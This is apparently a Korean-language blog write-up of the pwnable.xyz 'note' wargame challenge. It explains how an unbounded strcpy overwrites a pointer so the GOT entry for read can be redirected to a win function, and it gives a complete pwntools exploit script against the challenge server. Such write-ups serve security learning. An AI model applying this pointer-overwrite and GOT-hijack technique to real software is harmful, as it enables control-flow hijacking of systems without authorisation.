Pwnable/pwnable.xyz

[pwnable.xyz] note

controlpro 2021. 1. 4. 17:04
728x90

50점 짜리 문제 start 

 

다음과 같이 함수가 있다. 기능은 크게 edit_note 와 edit_desc가 있다 . edit_note를 보면 

buf를 입력에 note의 내용을 입력 받고 s에 strcpy로 값을 넘긴다. 왜 이런 쓸데 없는 짓을 하는 지는 잘모르겠다.;; 

그리고 edit_desc는 buf에 0x20만큼 입력을 한다. 

 

그러면 여기서 s 와 buf의 관계가 상당히 애매해 지는데 ida에서 s와 buf의 위치를 확인 해보면 다음과 같다. 

즉 s와 buf는 32byte만큼 차이가 나는데 s에는 buf를 통해서 strcpy되는 값이 길이의 제한을 받지 않기 때문에 buf의 포인터의 값을 맘대로 덮을 수 있다. (이문제의 핵심)

 

 

그래서 처음입력을 받을 때 32dummy + read_got 해주고 

 

나중에 edit_desc를 이용해서 buf가 read_got를 가르키고 있으니까 buf를 다시 win으로 입력을해서 read_got를 최종적으로 win함수의 주소로 바꾸어주면된다. 

 

그리고 나서 read를 실행시키기 위해서 2번을 한번더 보내주면 된다. 

 

 

from pwn import *

r = remote('svc.pwnable.xyz' , 30016)
read_got = 0x601248
win = 0x40093c

r.recvuntil('> ')
r.sendline('1')
r.recvuntil('Note len? ')
r.sendline('52')
r.recvuntil('note: ')
r.sendline('A' * 32 + p64(read_got))



r.recvuntil('> ')
r.sendline('2')
r.recvuntil('desc: ')
r.sendline(p64(win))

r.recvuntil('> ')
r.sendline('2')

r.interactive()

728x90
반응형